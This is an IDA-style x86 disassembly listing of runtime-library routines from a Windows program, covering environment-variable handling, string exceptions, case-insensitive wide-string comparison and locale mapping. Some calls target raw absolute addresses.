		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2D0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2D4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2D0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2D8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2D8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2D0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2D0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E0000h
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC821[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		jmp	near ptr 71AB1B7Bh
sub_426756	endp

; ---------------------------------------------------------------------------
		db 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2840000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 265037Bh
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB364, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB364
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB5BC, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB5BC, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE5C
		push	edi
		push	esi
		call	near ptr 26411CCh
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB5BC, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB5BC
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27F104Eh
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27F104Eh
